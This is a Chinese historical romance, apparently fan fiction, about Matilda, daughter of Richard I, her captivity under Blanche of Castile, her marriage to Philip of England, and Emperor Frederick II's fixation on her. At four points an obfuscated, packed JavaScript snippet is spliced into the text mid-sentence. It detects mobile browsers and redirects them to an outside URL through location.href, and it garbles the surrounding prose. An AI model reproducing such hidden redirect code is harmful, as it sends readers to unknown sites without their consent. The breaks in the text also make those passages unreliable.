《玫瑰窗下》 1. 花窗 巴黎圣母院大教堂是法兰西王国境内历史最悠久的教堂之一,早在法兰克国王克洛维皈依基督教时,他就在塞纳河中央的西堤岛上修建了这座小教堂,经历数百年的扩建已然成为巴黎的标志,而在她的丈夫登基后,他们又大规模扩建了这座已经十分宏伟的教堂,而其中最令她欣赏的部分在于教堂顶部的玫瑰花窗,她亲自为其奠基,将此处折射的阳光称为“天堂之光”,在这样的光芒下,所有的罪恶都将无处遁形,继而得到救赎或惩戒。 在路易的死讯突如其来地传来后,她已有数月时间没有踏足这里,她得拯救他们的王国,保护他们的儿子,上帝没有给她安静祈祷和怀念丈夫的时间,直到一切都尘埃落定的现在,她才再次踏入巴黎圣母院,来探望一个人,同时宣布一件事。 知道王太后即将造访,看守她的修女早早将她要见的人带了出来,在法兰西的王太后,卡斯蒂利亚的布兰奇踏入教堂时,她立刻就看到了她:她跪在那面玫瑰花窗下,身上只穿着最简单的修女袍,双手垂放在膝上,及肩的头发短得有些突兀:三年前,她亲自剪去了她的头发,作为皈依上帝、洗去罪孽的象征,只是如今看来,她曾经的祝愿和警告并没有什么作用,她还是那么倔强,顽固地、不合时宜且无用地倔强,和她刚来巴黎时一模一样。 她来到她身边,低下头,仔仔细细地审视她,从她微蹙的眉头、紧闭的双眼到微微颤动的嘴唇,以及始终绷紧的下颌和精致的耳廓,很美,她心想,她们都从她们共同的那位女性祖先身上继承了她的特质,从容貌到性格,只可惜玛蒂尔达继承的是她最叛逆、最不好的那部分,而她甚至将之引以为豪。 “起来吧,我知道你没有在祈祷。”在这近乎凝固的气氛中,布兰奇终于开口道,玛蒂尔达金色的睫毛颤了颤,而后终于睁开了眼睛,她的眼睛仍然那么美丽,如蔚蓝的海或者平滑的镜,只是她的眼睛里总有她不喜欢的、如燃烧的火焰般忤逆的情绪,她光彩四射地扬鞭跃马时如是,作为发愿的修女和阶下囚跪在她脚边时也如是,“没有什么值得我祈祷的事。”玛蒂尔达说,她有些艰难地站起身,嘴角带着一丝讥嘲,“所以,亲爱的姐姐,你为什么想到要来看望我呢?你好不容易将敢于反抗你的人都攘除干净,现在应该向我强调这一点了吗?” “我只是让胆敢背叛国王的人得到了他们应有的惩罚而已。”布兰奇淡淡道,“香槟伯爵已经宣誓忠诚,布列塔尼公爵的叛乱已经平定,至于图卢兹伯爵,他已经同意不再庇护清洁派,并将他唯一的女儿送到巴黎,我会像爱护我的女儿一样爱护她,像教育伊莎贝拉一样亲自教育她,未来,她也会成为我真正的女儿,她的父亲同意将她嫁给我的某个儿子。” “然后彻底成为你们迫害她故土和子民的工具。”玛蒂尔达说,眼底带着深深的愤恨和讥嘲,以及一丝物伤其类的怜悯,“可怜的女孩,她永远不知道她失去了什么东西,你们夺走她的一切,再施舍给她微不足道的一点,高高在上地摆布她的人生,还要求她对你们感激涕零。” “这是最好的选择,能为上帝和国王奉献是她的荣幸。”布兰奇轻轻嗤笑,她复而倨傲地、审视地盯着玛蒂尔达的脸,手指在寡妇袍中不自觉地屈起,“还是你一定要她公然违背对上帝发下的誓言,被追杀、囚禁乃至被架上火刑柱,才算对得起你们家族那继承自魔鬼的血液,以及所谓的‘骑士之心’?” 玛蒂尔达没有说话,她只是安静地看着布兰奇,无声地摇了摇头,布兰奇心底忽然又浮现出那丝熟悉的烦躁,她厌恶这样不受控的情绪,而玛蒂尔达一次又一次带给她这样的情绪:“于格死了。”布兰奇忽然说。 玛蒂尔达微怔,动了动嘴唇,却似乎说不出话,这样的表现取悦了布兰奇,她抚摸着胸前的十字架,语气是真实的、发自内心的悲伤和动容:“在我和路易从兰斯回到巴黎的途中,被布列塔尼公爵买通的暴/民冲到国王的车驾前,高呼着为兄弟姐妹复仇的口号想要绑架他,关键时刻,于格英勇地挡在路易面前,路易毫发无伤,他却伤口感染,最后在十天以后伤重不治------和你的父亲一样。” 她观察着玛蒂尔达的脸,想在她脸上寻找她想要的情感,但除了那一瞬的怔忪,她再也没有任何情感波动:“令你满意的结局。”她说,“但毫无价值。如果他知道他保护的是一个以上帝之名掩饰自己暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177421|180785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行的侩子手的话。” “啪”的一声,她脸上立刻浮现出一个清晰的掌印,布兰奇怒视着她,胸膛剧烈地起伏,而玛蒂尔达似乎反而从她的反应中得到了一丝欣慰,她嘴角微微扬起,落在布兰奇眼中无比刺眼,“你不关心菲利普吗?”她忽然说,“连香槟伯爵都一度有过背叛国王的念头,你不好奇他做了什么吗?” “不论他想要做什么,出现在我面前的是你而不是他,就说明他没有成功。”玛蒂尔达漠然道,“区别在于他付出了什么代价------所以,他现在还是英格兰国王吗?他被推翻了吗?” “他当然还是英格兰国王,而且,他成功了,他说只要我同意你们结婚他就帮助我平定布列塔尼公爵的叛乱,我答应了他。”布兰奇道,她朝玛蒂尔达伸出手,“你自由了,我是来带你离开的,马上,你就可以回英格兰了。” 英格兰,英格兰......玛蒂尔达捏紧了衣袍,强压住快速跳动的心,她知道她不能轻易相信布兰奇的话:“你的缓兵之计而已。”她说,“你先同意他的要求,把我送给他,然后再宣布我们婚姻无效,最好等我再也生不出孩子以后,那些被你们资助的枢机主教会争先恐后宣判这一点,然后你会资助我们的敌人,扰乱我们的统治,最后逼得我不得不像你屈服------和他一模一样。” “这次不会,教皇已经为你们颁下赦令,承认你们的婚姻。”布兰奇冷冷地说,玛蒂尔达微怔,而布兰奇轻吁一声,神情中带着几许不甘,但语调还算平静,“菲利普不知道用了什么办法劝说德意志的皇帝陛下替他说情,他已经答应了教皇率领十字军前往叙利亚解放耶路撒冷,这个当口下,教皇不会拒绝他的请求。” “......”玛蒂尔达无言,但她的神情终于放松了下来,不论如何,至少她终于走出了修道院,她的余生不会再如布兰奇所愿在囚禁和忏悔中度过,布兰奇知晓这一点,失去了居高临下的地位,她也不想再花费时间和她这个忤逆的表妹相处,临走前,她最后看了她一眼,那目光中含有感慨,但更多是讥讽,“恭喜你,花费了十四年的时间,你终于得到了你十四年前就可以轻易得到的东西。” 2. 婚礼 根特是佛兰德斯伯国的中心地区。 作为德意志、英格兰和法兰西的地理交界处,低地地区经济发达、贸易繁荣,是西欧人口最为稠密的地区之一,为了得到这块政治上和经济上都意义重大的领土,佛兰德斯名义上的宗主神圣罗马帝国、最大的觊觎者法兰西王国和经济来往最密切的英格兰国王围绕佛兰德斯纷争不断,甚至不惜发动战争,而现在,在根特出现了一队声势浩大、规模宏伟的车队,令来往众人纷纷惊叹侧目:那是德意志皇帝本人的车驾,腓特烈二世已驾临在此。 相较于英格兰,德法之间围绕低地地区的争端更直接也更剧烈,只是在腓特烈二世即位后,他从未就法兰西王室对佛兰德斯的事实占据发难:得益于“布汶战争”中的合作,他和法国王室一直关系良好,大多数时候,他对他的法国盟友都友好甚至纵容,哪怕路易八世在没有征求他允许的情况下围攻名义上归属于他的阿维农城,他都对此一笑置之。 发自内心地,他不认为法兰西王国和卡佩王室会构成对他的威胁,亦或是他必须消灭的对手,路易八世活着时如此,他的妻子和儿子更是如此,但如果需要他出面的纷争来源于卡佩王室内部,那他就需要重新衡量他的立场,这一次,他选择了腓力二世的次子的菲利普,法兰西的克莱蒙伯爵,兼英格兰国王菲利普一世。 在取得了布汶战争的胜利后,腓力二世又援引了英诺森三世曾经的诏令为他的次子宣称英格兰王位,早就对约翰王忍无可忍的英格兰贵族迫不及待地接受了他们的新国王,在腓力二世临终前,他又要求菲利普一世迎娶英格兰的推定继承人,理查一世的女儿玛蒂尔达公主,但他的儿子路易八世却违背了父亲的遗嘱,将玛蒂尔达送入修道院并试图劝说弟弟另娶新人。 菲利普一世拒绝了兄长的要求,二人因此一直僵持不下,在路易八世突然暴毙、路易九世年幼势弱的当下,菲利普一世终于等到了机会,向路易八世的妻子布兰奇太后提出承认他和玛蒂尔达的婚姻以换来他对路易九世的支持,这本应该是一个两全其美的交易,奇怪的是,布兰奇太后在最危急的时刻仍然拒绝了菲利普一世的要求,哪怕这会令路易九世本就脆弱的王位面临更大的风险,直到菲利普一世找到他,由他出面要求教皇催促布兰奇太后同意婚约,布兰奇太后才不情不愿地答应,饶是如此,菲利普一世还不能放心,邀请他前来低地亲自督促巴黎方面将玛蒂尔达移交给他并见证他们的婚礼。 “你认为法兰西太后为什么不肯同意她的表妹和小叔子结婚?”在等待那位公主到来前,腓特烈忽然问他身边的哈布斯堡伯爵,哈布斯堡伯爵抬起头,看到皇帝那双浅绿色的眼睛中泛起真实的疑惑不解,他是真的很好奇这个问题,“菲利普一世早就坐稳了英格兰王位,迎娶一位英格兰公主不过是锦上添花罢了,如果是担忧菲利普一世可能声索妻子的诺曼底或者阿基坦,从他成为英格兰国王的那一刻起,这样的风险就始终存在,她不必如此固执。” “那位公主毕竟是理查一世的女儿,英格兰贵族背弃了约翰王,但始终爱戴着亨利二世和理查一世,从法兰西王室的视角,他们最好让理查一世的血脉在修道院中彻底断绝,如同约翰王想让杰弗里四世的血脉在修道院中断绝一样。” “可路易八世曾经建议他弟弟迎娶杰弗里四世的女儿,那位公主也有着诺曼底和阿基坦的继承权,甚至还有布列塔尼的继承权,他既然能接受他的弟弟迎娶英格兰的女继承人,为什么要阻挠他娶父亲指定的那位呢?” “也有人认为是出于妒忌。”哈布斯堡伯爵稍顿,腓特烈的身体微微前倾,他知道哈布斯堡伯爵要说他感兴趣的事情了,“在腓力二世在位时期,玛蒂尔达公主就被接到了巴黎抚养,和她的表姐一起接受教育,她们都是阿基坦的埃莉诺的后代,腓力二世的儿媳,但英格兰公主比西班牙公主更加年轻美丽,也更加受到腓力二世的宠爱和重视,广为流传的一种说法是,布兰奇太后嫉妒自己的表妹的美貌和血统,因此不肯让她获得自由,路易八世不过是顺从了妻子的心愿。” “这听起来似乎合理一点。”腓特烈说,女人都有嫉妒心,容易被情绪支配,但他还是不太相信布兰奇太后也是这样庸俗的女人,或者仅凭嫉妒心就做出这样损人不利己的事。正当他想要继续追问时,他忽然听到了一阵喧闹声:那位公主来了。 到了该履行他答应菲利普一世的义务的时候了,他心想,收敛起对法兰西王室内部纠葛的好奇心,他开始将注意力放在引发冲突的那位公主本人身上,她真的很漂亮吗,漂亮到让腓力二世例外偏爱,让布兰奇太后为此妒忌,让菲利普一世念念不忘,以至于付出称臣的代价,巴黎的车驾越近,他的好奇心就越强烈,他忽然对他身旁的菲利普一世道:“你真的期待见到你的未婚妻。”他说,这是肉眼可见的事实,“你就这样渴望和她结婚吗?” “是的,这是我最渴望的事。”菲利普一世答道,他看着巴黎车驾即将出现的方向,声音难掩兴奋,“如果我成为了英格兰国王,王后却不是她,那王位于我毫无意义,这不过是父亲给我的一个我不喜欢的礼物而已。” 有趣,太有趣了,他发现英格兰和法兰西这群王室成员的关系实在是太古怪了,不管是路易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177422|180785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七世、亨利二世和阿基坦的埃莉诺那人尽皆知的婚姻纠纷、路易七世两个女儿和英格兰王室之间的婚约和绯闻、腓力二世和亨利二世的儿子们之间的恩怨情仇还是这位玛蒂尔达公主和腓力二世的儿子儿媳之间的复杂关系都能充分调动他的好奇心,他真的很好奇他们之间的真实关系。 而很快,他就见到了他现在最好奇的一个人,巴黎的车驾到了,在他之前,菲利普一世已经抢先一步:“莉奥妮丝!”他高呼道,等不及他的新娘下车,他已经迫不及待地掀开了车帘,将他的新娘从车厢里抱了下来,“真的是你。”他的声音太过激动,以至于颤栗,他紧紧抱着她,近乎是语无伦次地颤栗道,“都结束了,莉奥妮丝,不会再有人伤害你......” 真感人啊,腓特烈心想,如果他来根特之前带来了他最喜爱的诗人和乐器手,他一定会让他们当场吹奏一段感人肺腑的情诗,来为这对久别重逢的恋人庆祝。由于菲利普一世阻挡了他的视线,他没有第一时间看到那位公主的脸,好一会儿,他才等待菲利普一世的情绪平复下来,他拉着他未婚妻的手,向她介绍道:“这是德意志的皇帝、西西里国王和耶路撒冷国王,他是在见证我们的婚礼的。” “您好。”玛蒂尔达微微颔首。 他看清了她的脸,那张精致的、忧郁的,比他此前所见过的所有女人都美丽的脸,几乎是在见到她的一瞬间,他就感到脑子轰得炸开,他紧紧盯着她,忽然明白了先前那些看似不合理的猜测能被一部分人相信的原因。“莉奥妮丝......”他呢喃道,意识到这一行为实在古怪,他才做出补救,对菲利普一世道,“你称呼她为莉奥妮丝?” “是的,这是她的小名。”菲利普一世道,“是我......我给她取的,我一直如此称呼她。” 他看到玛蒂尔达的肩膀微微颤了颤,却并没有否认,而菲利普一世更加用力地紧拥住她,她也安静地靠在他怀中,只是一直半低着头。他是真的爱她,不论这两个王室之间有多少未解之谜,至少他可以确信菲利普一世确实爱着这个女人。“恭喜你,国王,你现在是这个世界上最幸福的人。”他语气中带着一丝他自己都未必能觉察的酸涩,“你的妻子确实美丽得值得你放弃你的王国。” 他退后一步,将舞台让给这对即将结婚的夫妻和证婚的主教,尽管他说服自己他只是一个旁观的宾客,目光却难以控制地在新娘身上流连:清醒一些,他想,脑海中的声音正严厉地提醒他,迫使他放弃他那蜂拥而出的古怪念头,她是英格兰公主,马上还会成为英格兰王后,她不是他可以任意染指和轻易得到的女人。 3. 过往 从他第一次见到玛蒂尔达的那一天起,他就期待着有一天娶她,十四年前,他在离梦想最近的时刻失去了她,甚至一度以为他再也不能得到她,好在他的坚持最终等到了回报,现在,她是他名正言顺的妻子,有着教皇的诏令和德意志皇帝的见证,到了上帝面前,也不会再有人否认他们的婚姻,父亲也不能。 “德意志皇帝为什么会帮助你?”回英格兰的船上,在他还犹为夙愿得偿感到彷徨和恍惚时,他忽然听到玛蒂尔达问道,望着佛兰德斯的海岸,她的脸色有些苍白,也有些疲惫,“我听说他即将率军收复耶路撒冷,即便他愿意在教皇面前替你说情,也没有必要亲自来到根特见证我们的婚礼。” “他是来接受我的效忠誓言的,为了获得他的帮助,我重申了你父亲向他父亲发下的誓言,承认英格兰是帝国的封邑。”菲利普答道,“不要担心,莉奥妮丝,英格兰贵族知道这件事,也愿意接受这样的代价,毕竟皇帝离我们很远,不像法兰西国王一样可以直接威胁他们的礼仪,如果布兰奇将来又打算以封君的名义干预我们,至少我们还有一个比法兰西国王更加强大和尊贵的君主可以施压和求助,在这个问题上,英格兰人不会不识大体。” “也好。”玛蒂尔达说,她的神情仍有些恹恹,以及悲伤,菲利普不知道她在悲伤什么,三年了,她还没有从过去的噩梦中醒过来吗,“一切都过去了,莉奥妮丝,你不必再恐惧。”他忽然说,他紧紧握着她的手,玛蒂尔达抬起头,正看到菲利普那湛蓝的、热切的眼睛,他的眼睛很像他的父亲,但他们是不同的人,她一直清楚这一点,“等回到英格兰,我立刻在你父亲加冕过的教堂里加冕你,曾经向你父亲效忠的贵族都会效忠你,我们会有孩子,被认可、被祝福的孩子,我们会一直幸福地生活下去,我发誓。” 那是他执着的事,他渴望的事,过去数年,想到他有可能再也见不到她,他几乎要被痛苦和悔恨折磨得疯掉,他比谁都渴望他们能回到从前,那个她用尽全力逃脱的从前。“......我没有恐惧。”她说,最后眺望了一眼法兰西的海岸,“你说的对,一切都过去了,陛下,我们会回到从前。” “不要这样称呼我,莉奥妮丝,用我们从前的称呼。” “好,特里斯坦。”她说。 他叫她莉奥妮丝,她叫他特里斯坦,这是他们之间的默契和约定,他们独属于彼此的象征和原因,至少菲利普看来如此,这一刻,他们都没有再提起那个人,那个同样会这样称呼他们的人。 , 耶路撒冷的风透过帐篷划过他的脸颊,他深吸一口气,空气中的砂砾再次让他心烦意乱,他索性披衣起身,来到帐篷外。 距离他在根特见证那场婚礼已经过去了一年半,这一年半里,他遇到了很多麻烦,也取得了很多成就,其中最伟大的成就无异于收回了耶路撒冷,并且如他所愿不费一兵一卒,和卡米勒苏丹告别前,他给了他一把剑,告诉他那是理查一世在数十年前赠予他的佩剑,他本有很多种或得体或风趣的言辞回应他,但接过剑的瞬间,他脱口而出的却是一句他都没有想到他为什么会说出口的话:“我见过他的女儿。” 他没有见过理查一世,但他见过他的女儿,并且一年半的时间过去,他还没有忘记他的女儿。这不合适,他心想,她不是某个小贵族的妻女,亦或是他可以随意调戏的平民女孩,哪怕她是德意志某个公爵的妻子,他也可以和她共度春宵,那或许他已经从这求而不得的痛苦中解脱了,但她偏偏不是。 如果他通知英格兰国王他想要他的妻子,他会答应吗,或者如果他不顾他的意愿将他的妻子召入宫中,他会反抗吗?这样危险的念头甫一出现便令他猛得激灵,他的理智强迫他从这危险的思绪中清醒过来:清醒些,他想,他是基督教世界最强大和尊贵的君主,但他所享有的权势和自由并不包括强行占有一位大国的公主和王后,即便英格兰国王已经宣誓臣服他,他毕竟不是他真正的臣属,何况他还是法兰西的王子,他不是他可以任意羞辱的人物。 他应该马上再结一次婚,或者找一个新的足够美丽的情人,或许西顿夫人不错,她现在就在耶路撒冷,如果他愿意,他现在就可以找她再续前缘,她是不会拒绝他的......“陛下?”他听到一个声音,他回过头,正好看到赫尔曼关切的眼前,“是你啊,赫尔曼。”他说,看出他心神不宁,赫尔曼给他披上一件披风,“我看到您不在帐篷里,于是出来找您,您还在为绝罚令愤怒吗,陛下?” “我现在已经不生气了。”腓特烈说,是的,教皇固然可以出于傲慢和私心对他施以绝罚,但他收回耶路撒冷的事实就是一记响亮的耳光打在教皇脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177423|180785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有这样的功绩在手,他有信心在回到意大利后令教皇收回处分,就看他是来到罗马城下“恭请”教皇收回,还是用更加温和且恭敬的方式让教皇收回。 他明白这一点,赫尔曼也明白这一点:“是的,连理查一世这样传奇的君主都没能叩开耶路撒冷的城墙,但您做到了,单凭这一点,您就收获了多少基督教君主梦寐以求的声望,已经有士兵以‘圣腓特烈’称呼您了!” 他为什么又提到了理查一世!腓特烈动了动嘴唇,想让赫尔曼不要继续这个话题,但赫尔曼似乎又想起了什么,打开了话匣子滔滔不绝道:“过去几十年,有多少人曾为第三次十字军东征的功亏一篑扼腕叹息,他们现在就有多欣喜于圣城的再次光复,实不相瞒,在我来到东方后,每每回想起第三次十字军,我也忍不住遗憾和惋惜,如果腓特烈一世陛下没有游泳过河,如果腓力二世没有临阵脱逃,或者理查一世能够在耶路撒冷待到萨拉丁去世,那或许圣城早就可以回到基督徒手中......” “但我已经做到了他们没有做到的事。”腓特烈说,他又开始心烦意乱,“而且理查一世的失败多少也有我父亲的原因,我父亲阻碍了他回国的路,扣留了他,向他勒索了征服西西里的赎金,这件事并不光彩,他临终前也为此忏悔。” “毕竟那时候英格兰国王还是韦尔夫家族的支持者,先皇不过是为了帝国和霍亨斯陶芬家族的荣耀才有此举动,不过,那些事都过去了,现在的英格兰国王是心甘情愿臣服您的,而您也帮助理查一世的女儿重新成为英格兰的女主人,她应该感激您才对。”赫尔曼自以为是地宽慰道,他突然又想到了什么,“即便是当初那笔所谓的赎金,亨利六世陛下也是有合理的理由的,在理查一世离开德意志前,他曾经答应将他的第一个女儿许配给皇帝的儿子,所谓的‘赎金’是他提前支付的嫁妆,即便是在他去世后,他的母亲和妻子还想过履行这段婚约,但腓力二世抢先一步拿走了他女儿的监护权......” 他的语调突然一顿,他看到腓特烈抬起头,用一种惊诧且急切地目光看着他:“理查一世将他的女儿许配给我父亲的儿子,他只要一个女儿,我父亲也只有一个儿子。”得到赫尔曼的默认后,他复而难以置信地自言自语道,“也就是说,如果不是腓力二世抢走了她,她原本应该是我的妻子吗?” 4. 求婚 从耶路撒冷回到西西里后,腓特烈先是组织军队迅速平定了他前老丈人布列讷的约翰发起的对西西里的入侵,而后便向教皇示好,愿意继续承认教皇对西西里的名义主权并赔偿教会的损失,以换来和教廷的和解。 如果他有心想要报复教皇和布列讷的约翰在他远征耶路撒冷期间对他的种种中伤,他其实可以扩大战争迫使他们屈服,但现在他只想尽快解除他身上的绝罚令,这样他才能抽出时间做他想做的事。 他已经想通了,是的,他不能公开强占英格兰王后,但人是自由的,爱情也是自由的,他不可以强占她,但他可以勾引她,抛开他作为神圣罗马帝国皇帝的权势不谈,他也比她的丈夫更英俊、更有魅力,他相信只要花费一些时间,她一定会爱上他,至少愿意和他展开交往,这样的风流韵事在过往的历史中也不算什么罕见事。 至于她的丈夫会怎么想,那就不是他关心的事了,如果从前他可能还会对菲利普一世怀有几分愧疚,那在得知他的妻子原本应该是他的未婚妻后,这丝愧疚已经荡然无存,一切都是腓力二世的错!如他所愿,教皇很快同意解除他的绝罚令并撤回对布列讷的约翰的支持,也认可了他收回耶路撒冷的功绩,他随即沿莱茵河北上,打算宣扬他的非凡成就“顺便”去拜访一下英格兰国王夫妻,但就在他抵达科隆后,他得知一个消息:英格兰国王去世了。 , 谁也没有想到,仅仅是一场打猎后的风寒,素来身体强健的国王便因此一病不起,在确认了国王即将死去后,英格兰上下顿时陷入惶惶不安中:在三年前的那场婚礼后,关于英格兰王位持续数十年的争议似乎已经得到了圆满解决,但菲利普一世死了,英格兰的命运又将去往何方,他们该奉谁为主,他的妻子,还是他不满一岁的女儿? 风暴的中心,对未来的命运,英格兰王后没有表现出任何情绪,国王的床边,威廉·马歇尔的次子,如今的彭布罗克伯爵理查·马歇尔悄悄看着王后的脸,她还是那么美丽,只是比三年前更加苍白和漠然,即便是如此近的距离,理查·马歇尔也感受不到她身上有任何活人的生机,想到过去那些事,他的心也不禁泛上了一层同情和怜悯:在他的父亲去世后,他也曾作为人质在巴黎宫廷生活,某种意义上,他是英格兰最了解玛蒂尔达过去经历的人,除了菲利普一世和她本人。 在她出生时,她曾是整个欧洲身价最高的公主,她也继承了她父亲的英雄血脉,在那场战争中,她比她的叔叔和表兄更加勇敢,只是她所有的尊荣都随着曾经强盛一时的“安茹帝国”逝去,而在菲利普一世死后,这来之不易的安稳生活也将彻底流逝。 “莉奥妮丝!莉奥妮丝!”病榻之上,菲利普一世忽然惊惶地叫了起来,他睁开眼睛,手指无措地寻找着玛蒂尔达,在看到她后,他立刻紧紧抓住她,从理查·马歇尔的视角,他看到国王久病的脸上血管绷起,整个人都陷入癫狂之中,“我,我梦到父亲了,他又回来了,他又把你带走了......” 父亲,腓力二世,理查·马歇尔心一紧,稍许,却是玛蒂尔达伸出手,将菲利普一世抱在怀中:“他死了。”她平静地说,但声音中仍然有一丝不易察觉的颤抖,“特里斯坦,他六年前就死了,我已经忘了他了。” “忘了,忘了......”菲利普一世喃喃道,他的表情又变了,似哭似笑,他手足无措地抱着玛蒂尔达,声音里带着哭腔,胸膛剧烈起伏,“他死了,我也要死了,对不起,对不起,莉奥妮丝,我没有保护好你,以后谁能保护你......” “不是你的错,是我先背叛了你,我从来没有恨过你,我恨的是你父亲,还有我自己。”玛蒂尔达轻声说,明明她才是更柔弱、对未来的命运更茫然的人,这个时候却是她在安慰菲利普一世,“睡吧,特里斯坦,一切都过去了。” 国王死了,在他结婚的三年后,女儿出生的一年后,他的嫂子法兰西王太后立刻派人吊唁,同时表达了对他遗孀和女儿的“关怀”。“法兰西王太后希望您能带着阿格涅丝公主回到巴黎,在先王去世后,您和公主需要一个新的君主和男子作为监护者,法兰西国王马上就要成年了,他可以接替他的叔叔承担这一责任,她向您承诺,您可以不必和您的女儿分开,你们会有王后和公主应有的生活,只要您答应将公主许配给一位她和路易九世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177424|180785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认可的人选......” 在菲利普一世的葬礼结束后,理查·马歇尔带给了她这个消息,不出意外的,他等到了玛蒂尔达的拒绝:“想都不要想。”她冷冷道,她的反应在理查·马歇尔意料之中,他继续道,“但陛下,现在这个时候,法兰西王太后是唯一可以庇护您的人,没有人能替代她承担这个角色,哪怕是以婚姻的形式。” 以法兰西王室对罗马教廷的渗透程度,如果她想要用她或者阿格涅丝的婚姻寻找一个新的庇护者,他们的婚姻也不可能得到认可,这是布兰奇的底气所在,她根本不担心她会脱离她的控制。 从理查·马歇尔的视角,他是希望玛蒂尔达能够答应布兰奇的,从理智出发,这是她未来最好的一种出路,他不明白她为什么会那么固执。“那如果是以君主的形式呢?”良久之后,他听到玛蒂尔达再次开口,“如果我加冕为女王,召集军队武装反抗她呢?如果她和她的儿子真的打算诉诸战争的话。” “和您曾经在阿基坦做的一样吗?恕我直言,陛下,英格兰的贵族对您没有那么忠诚,和不认可您的婚姻一样,罗马教廷同样也不会认可您的统治,女人怎能独自统治王国?”理查·马歇尔道,逾越臣属的本分,他几乎是苦口婆心地劝说道,“不要固执了,陛下,法兰西王太后不是放过这个机会的,如果您现在不答应她,您和阿格涅丝公主的命运会悲惨百倍,您最后也会发现只有法兰西王太后能够给您最基本的庇护,到那个时候,她所提出的条件就不会像现在这么慷慨了。” 是的,布兰奇清楚她别无选择,所以她在寄出了那封信后再也没有其他动作,她相信她会等到她满意的结局,区别在于她是立刻识趣地选择投降,还是在头破血流后不得不屈服。再一次的,这种用尽全力挣扎却对命运无能为力的绝望笼罩了她,她紧咬嘴唇,没有回答理查·马歇尔的话,但正当这时,他们听到门外传来声音:“陛下!”来人呼唤道,他脸上难掩狂喜,在经历了漫长的煎熬和恐惧后,他们终于等到了转机,“德意志皇帝陛下向您求婚,并愿意成为您和公主的庇护者,他说,只要您愿意,他可以立刻来到英格兰和您举行婚礼。” 5. 礼物 布兰奇非常清楚,在菲利普一世死后,玛蒂尔达立刻会陷入被垂涎和争夺的窘境:只需她稍微流露出施压的意愿,英格兰的贵族会立刻出卖她,她根本不可能像她一样仅靠自己就保护女儿的王位,同样是国王的妻子和母亲,一个马上成年的儿子的母亲和一个刚出生的女儿的母亲的影响力根本不能相提并论,而经过约翰王挥霍的英格兰也不可能应付国力蒸蒸日上的法兰西,她也不可能向已经被法兰西王室渗透多年的诺曼底和阿基坦索取他们对她祖辈的忠诚,哪怕她是理查一世的女儿。 她唯一的武器就是婚姻,利用她的美貌和身份,她可以给她和阿格涅丝寻找一个新的保护者,不论是英格兰的本土势力还是法兰西的大贵族,但这种可能同样无法成功,得益于路易七世时代就开始的对罗马教廷的渗透,除了平等地看不惯每一个君主的英诺森三世,最近几任教皇基本上都对法兰西王室持有较为友好的立场,至少在英格兰和法兰西之争中,他们非常乐意支持法兰西王室的诉求,不承认玛蒂尔达的统治和再婚的对象,毕竟现在的英格兰王室已经不像昔年一样具备拉拢乃至讨好的价值了。 理论上,她什么都不用做,只需要在巴黎安静地等待玛蒂尔达最后的决定,不论是识趣的屈服还是再次顽固的、不知死活的反抗,但腓特烈二世的插手打乱了她的所有计划:她可以确保玛蒂尔达不可能靠婚姻得到支持,不论是以国王还是教皇的名义,但这一手段不能用在腓特烈二世身上。 他是神圣罗马帝国皇帝,是比法兰西国王更加强大和尊贵的君主,即便内心深处她十分不喜欢这位皇帝任性的做风和存疑的宗教立场,她和法兰西也必须和腓特烈二世保持友好关系,在上帝竟然将收复耶路撒冷的功绩给了这位受过洗礼的苏丹之后尤甚。他们更不可能干涉他的婚姻:且不提腓特烈二世和教廷现在正处于蜜月期,即便他还是被绝罚的状态,他也有无视教皇反对结婚和宣称英格兰王位的能力,区别在于是靠法统,还是武力。 “法兰西王太后劝您慎重考虑再婚的事情。”当哈布斯堡伯爵将法兰西王太后的信件递给他时,腓特烈正兴致勃勃地逗弄着他的猎鹰,闻言,他稍稍抬眉,而哈布斯堡伯爵索性继续道,“她表示她作为英格兰王后的长嫂和表姐,理所应当承担对她们母女的监护责任,而您作为德意志的皇帝,即便有再次结婚的打算,也应该挑选一位更加年轻和纯洁的淑女......” 